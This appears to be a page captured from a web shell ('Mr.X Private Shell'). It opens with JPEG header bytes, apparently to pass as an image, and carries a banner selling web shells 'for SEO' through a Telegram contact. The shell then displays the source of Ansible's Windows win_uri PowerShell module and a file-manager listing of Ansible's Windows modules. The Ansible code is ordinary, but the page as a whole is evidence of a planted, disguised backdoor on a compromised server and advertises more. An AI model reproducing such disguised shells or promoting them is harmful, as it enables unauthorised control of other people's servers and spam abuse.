����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!powershell
# Copyright: (c) 2015, Corwin Brown <corwin@corwinbrown.com>
# Copyright: (c) 2017, Dag Wieers (@dagwieers) <dag@wieers.com>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
#AnsibleRequires -CSharpUtil Ansible.Basic
#Requires -Module Ansible.ModuleUtils.CamelConversion
#Requires -Module Ansible.ModuleUtils.FileUtil
#Requires -Module Ansible.ModuleUtils.Legacy
#AnsibleRequires -PowerShell ..module_utils.WebRequest
$spec = @{
options = @{
url = @{ type = "str"; required = $true }
content_type = @{ type = "str" }
body = @{ type = "raw" }
dest = @{ type = "path" }
creates = @{ type = "path" }
removes = @{ type = "path" }
return_content = @{ type = "bool"; default = $false }
status_code = @{ type = "list"; elements = "int"; default = @(200) }
# Defined for ease of use and backwards compatibility
url_timeout = @{
aliases = "timeout"
}
url_method = @{
aliases = "method"
default = "GET"
}
# Defined for the alias backwards compatibility, remove once aliases are removed
url_username = @{
aliases = @("user", "username")
deprecated_aliases = @(
@{ name = "user"; date = [DateTime]::ParseExact("2022-07-01", "yyyy-MM-dd", $null); collection_name = 'ansible.windows' },
@{ name = "username"; date = [DateTime]::ParseExact("2022-07-01", "yyyy-MM-dd", $null); collection_name = 'ansible.windows' }
)
}
url_password = @{
aliases = @("password")
deprecated_aliases = @(
@{ name = "password"; date = [DateTime]::ParseExact("2022-07-01", "yyyy-MM-dd", $null); collection_name = 'ansible.windows' }
)
}
}
supports_check_mode = $true
}
$module = [Ansible.Basic.AnsibleModule]::Create($args, $spec, @(Get-AnsibleWindowsWebRequestSpec))
$url = $module.Params.url
$method = $module.Params.url_method.ToUpper()
$content_type = $module.Params.content_type
$body = $module.Params.body
$dest = $module.Params.dest
$creates = $module.Params.creates
$removes = $module.Params.removes
$return_content = $module.Params.return_content
$status_code = $module.Params.status_code
$JSON_CANDIDATES = @('text', 'json', 'javascript')
$module.Result.elapsed = 0
$module.Result.url = $url
Function ConvertFrom-SafeJson {
<#
.SYNOPSIS
Safely convert a JSON string to an object, this is like ConvertFrom-Json except it respect -ErrorAction.
.PAREMTER InputObject
The input object string to convert from.
#>
[CmdletBinding()]
param (
[Parameter(Mandatory = $true)]
[AllowEmptyString()]
[AllowNull()]
[String]
$InputObject
)
if (-not $InputObject) {
return
}
try {
# Make sure we output the actual object without unpacking with the unary comma
, [Ansible.Basic.AnsibleModule]::FromJson($InputObject)
}
catch [System.ArgumentException] {
Write-Error -Message "Invalid json string as input object: $($_.Exception.Message)" -Exception $_.Exception
}
}
if (-not ($method -cmatch '^[A-Z]+$')) {
$module.FailJson("Parameter 'method' needs to be a single word in uppercase, like GET or POST.")
}
if ($creates -and (Test-AnsiblePath -Path $creates)) {
$module.Result.skipped = $true
$module.Result.msg = "The 'creates' file or directory ($creates) already exists."
$module.ExitJson()
}
if ($removes -and -not (Test-AnsiblePath -Path $removes)) {
$module.Result.skipped = $true
$module.Result.msg = "The 'removes' file or directory ($removes) does not exist."
$module.ExitJson()
}
$client = Get-AnsibleWindowsWebRequest -Uri $url -Module $module
if ($null -ne $content_type) {
$client.ContentType = $content_type
}
$response_script = {
param($Response, $Stream)
ForEach ($prop in $Response.PSObject.Properties) {
$result_key = Convert-StringToSnakeCase -string $prop.Name
$prop_value = $prop.Value
# convert and DateTime values to ISO 8601 standard
if ($prop_value -is [System.DateTime]) {
$prop_value = $prop_value.ToString("o", [System.Globalization.CultureInfo]::InvariantCulture)
}
$module.Result.$result_key = $prop_value
}
# manually get the headers as not all of them are in the response properties
foreach ($header_key in $Response.Headers.GetEnumerator()) {
$header_value = $Response.Headers[$header_key]
$header_key = $header_key.Replace("-", "") # replace - with _ for snake conversion
$header_key = Convert-StringToSnakeCase -string $header_key
$module.Result.$header_key = $header_value
}
# we only care about the return body if we need to return the content or create a file
if ($return_content -or $dest) {
# copy to a MemoryStream so we can read it multiple times
$memory_st = New-Object -TypeName System.IO.MemoryStream
try {
$Stream.CopyTo($memory_st)
if ($return_content) {
$memory_st.Seek(0, [System.IO.SeekOrigin]::Begin) > $null
$content_bytes = $memory_st.ToArray()
$module.Result.content = [System.Text.Encoding]::UTF8.GetString($content_bytes)
if ($module.Result.ContainsKey("content_type") -and $module.Result.content_type -Match ($JSON_CANDIDATES -join '|')) {
$json = ConvertFrom-SafeJson -InputObject $module.Result.content -ErrorAction SilentlyContinue
if ($json) {
$module.Result.json = $json
}
}
}
if ($dest) {
$memory_st.Seek(0, [System.IO.SeekOrigin]::Begin) > $null
$changed = $true
if (Test-AnsiblePath -Path $dest) {
$actual_checksum = Get-FileChecksum -path $dest -algorithm "sha256"
$sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider
$content_checksum = [System.BitConverter]::ToString($sp.ComputeHash($memory_st)).Replace("-", "").ToLower()
if ($actual_checksum -eq $content_checksum) {
$changed = $false
}
}
$module.Result.changed = $changed
if ($changed -and (-not $module.CheckMode)) {
$memory_st.Seek(0, [System.IO.SeekOrigin]::Begin) > $null
$file_stream = [System.IO.File]::Create($dest)
try {
$memory_st.CopyTo($file_stream)
}
finally {
$file_stream.Flush()
$file_stream.Close()
}
}
}
}
finally {
$memory_st.Close()
}
}
if ($status_code -notcontains $Response.StatusCode) {
$module.FailJson("Status code of request '$([int]$Response.StatusCode)' is not in list of valid status codes $status_code : $($Response.StatusCode)'.")
}
}
$body_st = $null
if ($null -ne $body) {
if ($body -is [System.Collections.IDictionary] -or $body -is [System.Collections.IList]) {
$body_string = ConvertTo-Json -InputObject $body -Compress
}
elseif ($body -isnot [String]) {
$body_string = $body.ToString()
}
else {
$body_string = $body
}
$buffer = [System.Text.Encoding]::UTF8.GetBytes($body_string)
$body_st = New-Object -TypeName System.IO.MemoryStream -ArgumentList @(, $buffer)
}
try {
Invoke-AnsibleWindowsWebRequest -Module $module -Request $client -Script $response_script -Body $body_st -IgnoreBadResponse
}
catch {
$module.FailJson("Unhandled exception occurred when sending web request. Exception: $($_.Exception.Message)", $_)
}
finally {
if ($null -ne $body_st) {
$body_st.Dispose()
}
}
$module.ExitJson()
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| async_status.ps1 | File | 1.81 KB | 0644 |
|
| async_status.yml | File | 1.77 KB | 0644 |
|
| setup.ps1 | File | 49.89 KB | 0644 |
|
| setup.yml | File | 2.35 KB | 0644 |
|
| slurp.ps1 | File | 728 B | 0644 |
|
| slurp.yml | File | 1.5 KB | 0644 |
|
| win_acl.ps1 | File | 9.54 KB | 0644 |
|
| win_acl.py | File | 4.14 KB | 0644 |
|
| win_acl_inheritance.ps1 | File | 4.72 KB | 0644 |
|
| win_acl_inheritance.py | File | 2.34 KB | 0644 |
|
| win_certificate_store.ps1 | File | 19.78 KB | 0644 |
|
| win_certificate_store.py | File | 8.08 KB | 0644 |
|
| win_command.ps1 | File | 3.98 KB | 0644 |
|
| win_command.py | File | 6.13 KB | 0644 |
|
| win_copy.ps1 | File | 18.06 KB | 0644 |
|
| win_copy.py | File | 6.55 KB | 0644 |
|
| win_dns_client.ps1 | File | 12.99 KB | 0644 |
|
| win_dns_client.py | File | 2.13 KB | 0644 |
|
| win_domain.ps1 | File | 7.67 KB | 0644 |
|
| win_domain.py | File | 4.15 KB | 0644 |
|
| win_domain_controller.ps1 | File | 12.37 KB | 0644 |
|
| win_domain_controller.py | File | 5.66 KB | 0644 |
|
| win_domain_membership.ps1 | File | 10.36 KB | 0644 |
|
| win_domain_membership.py | File | 3.35 KB | 0644 |
|
| win_dsc.ps1 | File | 19.46 KB | 0644 |
|
| win_dsc.py | File | 7.31 KB | 0644 |
|
| win_environment.ps1 | File | 5.56 KB | 0644 |
|
| win_environment.py | File | 4.13 KB | 0644 |
|
| win_feature.ps1 | File | 4.1 KB | 0644 |
|
| win_feature.py | File | 4.63 KB | 0644 |
|
| win_file.ps1 | File | 5.4 KB | 0644 |
|
| win_file.py | File | 2.16 KB | 0644 |
|
| win_find.ps1 | File | 14.29 KB | 0644 |
|
| win_find.py | File | 11.19 KB | 0644 |
|
| win_get_url.ps1 | File | 11.59 KB | 0644 |
|
| win_get_url.py | File | 5.82 KB | 0644 |
|
| win_group.ps1 | File | 1.64 KB | 0644 |
|
| win_group.py | File | 1.1 KB | 0644 |
|
| win_group_membership.ps1 | File | 5.82 KB | 0644 |
|
| win_group_membership.py | File | 2.95 KB | 0644 |
|
| win_hostname.ps1 | File | 1 KB | 0644 |
|
| win_hostname.py | File | 1.07 KB | 0644 |
|
| win_optional_feature.ps1 | File | 2.84 KB | 0644 |
|
| win_optional_feature.py | File | 2.32 KB | 0644 |
|
| win_owner.ps1 | File | 2.18 KB | 0644 |
|
| win_owner.py | File | 1.05 KB | 0644 |
|
| win_package.ps1 | File | 51.85 KB | 0644 |
|
| win_package.py | File | 15.68 KB | 0644 |
|
| win_path.ps1 | File | 6.17 KB | 0644 |
|
| win_path.py | File | 2.94 KB | 0644 |
|
| win_ping.ps1 | File | 454 B | 0644 |
|
| win_ping.py | File | 1.16 KB | 0644 |
|
| win_powershell.ps1 | File | 29.57 KB | 0644 |
|
| win_powershell.py | File | 15.7 KB | 0644 |
|
| win_reboot.py | File | 4.76 KB | 0644 |
|
| win_reg_stat.ps1 | File | 4.11 KB | 0644 |
|
| win_reg_stat.py | File | 3.51 KB | 0644 |
|
| win_regedit.ps1 | File | 18.12 KB | 0644 |
|
| win_regedit.py | File | 6.35 KB | 0644 |
|
| win_service.ps1 | File | 37.85 KB | 0644 |
|
| win_service.py | File | 16.71 KB | 0644 |
|
| win_service_info.ps1 | File | 9.98 KB | 0644 |
|
| win_service_info.py | File | 9.44 KB | 0644 |
|
| win_share.ps1 | File | 11.93 KB | 0644 |
|
| win_share.py | File | 3.02 KB | 0644 |
|
| win_shell.ps1 | File | 4.93 KB | 0644 |
|
| win_shell.py | File | 5.69 KB | 0644 |
|
| win_stat.ps1 | File | 7.24 KB | 0644 |
|
| win_stat.py | File | 7.39 KB | 0644 |
|
| win_tempfile.ps1 | File | 2.46 KB | 0644 |
|
| win_tempfile.py | File | 1.49 KB | 0644 |
|
| win_template.py | File | 5.48 KB | 0644 |
|
| win_updates.ps1 | File | 57.42 KB | 0644 |
|
| win_updates.py | File | 11.95 KB | 0644 |
|
| win_uri.ps1 | File | 7.95 KB | 0644 |
|
| win_uri.py | File | 4.14 KB | 0644 |
|
| win_user.ps1 | File | 16.46 KB | 0644 |
|
| win_user.py | File | 5.43 KB | 0644 |
|
| win_user_right.ps1 | File | 13.78 KB | 0644 |
|
| win_user_right.py | File | 3.24 KB | 0644 |
|
| win_wait_for.ps1 | File | 9.56 KB | 0644 |
|
| win_wait_for.py | File | 4.42 KB | 0644 |
|
| win_whoami.ps1 | File | 30.96 KB | 0644 |
|
| win_whoami.py | File | 5.29 KB | 0644 |
|